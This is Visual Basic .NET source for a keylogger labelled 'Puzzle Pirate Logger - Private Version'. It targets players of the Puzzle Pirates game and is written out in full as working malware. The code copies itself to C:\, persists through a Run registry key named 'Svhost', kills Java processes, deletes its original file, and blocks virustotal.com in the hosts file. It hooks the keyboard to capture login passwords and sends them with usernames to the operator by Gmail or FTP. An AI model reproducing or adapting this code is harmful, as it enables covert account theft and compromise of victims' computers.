Imports Microsoft.Win32
Imports System.Net.Mail
Imports System.IO
Imports System.Text
Imports System.Security.Cryptography
Public Class Form1

    Dim selection(), PPS, emailuser, epassword, ftphost, ftpuser, ftppass, closepp, addsu, selfd, block, email, ftp, clearreg, ppuser As String
    Dim EmailMessage As New MailMessage()
    Dim sendmail As New SmtpClient()

    Const shit = "@ppbuilder@"
    Private WithEvents look As New KeyboardHook
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim lalwat As Object
        lalwat = Application.StartupPath
        If lalwat = "C:\" Then

        Else
            Dim filey As FileStream = Nothing
            filey = File.Create("C:\log.txt")

            Using filey
            End Using
            Dim filepathy As Object = IO.Path.GetFileName(Application.ExecutablePath)
            Dim Meltwriter As New StreamWriter("C:\log.txt")
            Meltwriter.Write(Application.ExecutablePath)
            Meltwriter.Flush()
            Meltwriter.Close()
            If File.Exists("C:\" + filepathy) Then
                My.Computer.FileSystem.DeleteFile("C:\" + filepathy)
                My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\" + filepathy)
            Else
                My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\" + filepathy)
            End If
            Process.Start("C:\" + IO.Path.GetFileName(Application.ExecutablePath))
            Me.Close()
        End If
        Dim open As Object = Application.ExecutablePath
        FileOpen(1, open, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

        email = Space(LOF(1))
        ftp = Space(LOF(1))
        emailuser = Space(LOF(1))
        epassword = Space(LOF(1))
        ftphost = Space(LOF(1))
        ftpuser = Space(LOF(1))
        ftppass = Space(LOF(1))
        closepp = Space(LOF(1))
        addsu = Space(LOF(1))
        clearreg = Space(LOF(1))
        selfd = Space(LOF(1))
        block = Space(LOF(1))

        FileGet(1, email)
        FileGet(1, ftp)
        FileGet(1, emailuser)
        FileGet(1, epassword)
        FileGet(1, ftphost)
        FileGet(1, ftpuser)
        FileGet(1, ftppass)
        FileGet(1, closepp)
        FileGet(1, addsu)
        FileGet(1, clearreg)
        FileGet(1, selfd)
        FileGet(1, block)

        FileClose(1)

        selection = Split(email, shit)
        FileClose(1)

        If selection(8) = True Then
            Dim tryit() As Process = System.Diagnostics.Process.GetProcessesByName("javaw")
            For Each p As Process In tryit
                p.Kill()
            Next
        End If

        If selection(9) = True Then
            Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)



            Dim regKey As Microsoft.Win32.RegistryKey
            regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
            regKey.SetValue("Svhost", "C:\" & appname)
            regKey.Close()
        End If

        If selection(10) = True Then
            Dim ppkey As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\JavaSoft\Prefs\rsrc\config\client", True)
            ppkey.SetValue("username", " ")
            ppkey.Close()
        End If

        If selection(11) = True Then
            Try
                Dim original As Object
                original = My.Computer.FileSystem.ReadAllText("C:\log.txt")
                My.Computer.FileSystem.DeleteFile(original)
            Catch ex As Exception
            End Try
        End If

        If selection(12) = True Then
            Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts"
            Dim sw As New StreamWriter(path, True)
            Dim sitetoblock As [String] = vbLf & " 127.0.0.1 virustotal.com"
            sw.Write(sitetoblock)
            sw.Close()

        End If

        look.Hook()


        ppuser = My.Computer.Registry.GetValue _
       ("HKEY_CURRENT_USER\Software\JavaSoft\Prefs\rsrc\config\client", "username", Nothing)

    End Sub

    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        look.Hook()

    End Sub

    Private Sub inppkeydown(ByVal e As System.Windows.Forms.Keys) Handles look.KeyDown
        If GetActiveWindowTitle() = "" Then
            RichTextBox1.Text &= look.Feed(e)
            Timer1.Enabled = True
        Else
        End If
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        If GetActiveWindowTitle.Contains("on") Then
            Dim filey As FileStream = Nothing
            filey = File.Create("C:\ftp.txt")

            Using filey
            End Using


            If selection(1) = True Then
                With EmailMessage
                    .From = New MailAddress(DeMe(selection(3)))
                    .To.Add(DeMe(selection(3)))
                    .Subject = "PPL - " & Environment.UserName
                    .Body = "Puzzle Pirate Logger - Private Version" & vbNewLine & vbNewLine & GetActiveWindowTitle() & vbNewLine & vbNewLine & "Username: " & ppuser & vbNewLine & vbNewLine & "Password: " & RichTextBox1.Text
                End With

                With sendmail
                    .Host = "smtp.gmail.com"
                    .Port = 587
                    .EnableSsl = True
                    .Credentials = New System.Net.NetworkCredential(DeMe(selection(3)), DeMe(selection(4)))
                    .Send(EmailMessage)
                End With
                RichTextBox1.Clear()
                Timer1.Stop()

            Else

                Dim ftpwrite As New StreamWriter("C:\ftp.txt")
                ftpwrite.Write("Puzzle Pirate Logger - Private Version" & vbNewLine & vbNewLine & GetActiveWindowTitle() & vbNewLine & vbNewLine & "Username: " & ppuser & vbNewLine & vbNewLine & "Password: " & RichTextBox1.Text)
                ftpwrite.Flush()
                ftpwrite.Close()

                Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://" & DeMe(selection(5)) & "/ftp.txt"), System.Net.FtpWebRequest)
                request.Credentials = New System.Net.NetworkCredential(DeMe(selection(6)), DeMe(selection(7)))
                request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
                Dim File() As Byte = System.IO.File.ReadAllBytes("C:\ftp.txt")
                Dim strZ As System.IO.Stream = request.GetRequestStream()
                strZ.Write(File, 0, File.Length)
                strZ.Close()
                strZ.Dispose()
                ftpwrite.Write(" ")
                ftpwrite.Flush()
                ftpwrite.Close()
                RichTextBox1.Clear()
                Timer1.Stop()
            End If

        End If
    End Sub
    Public Function DeMe(ByVal sData As String) As String
        Dim dData() As Byte = Convert.FromBase64String(sData)
        Dim dString As String = ASCIIEncoding.ASCII.GetString(dData)
        DeMe = dString
    End Function


End Class '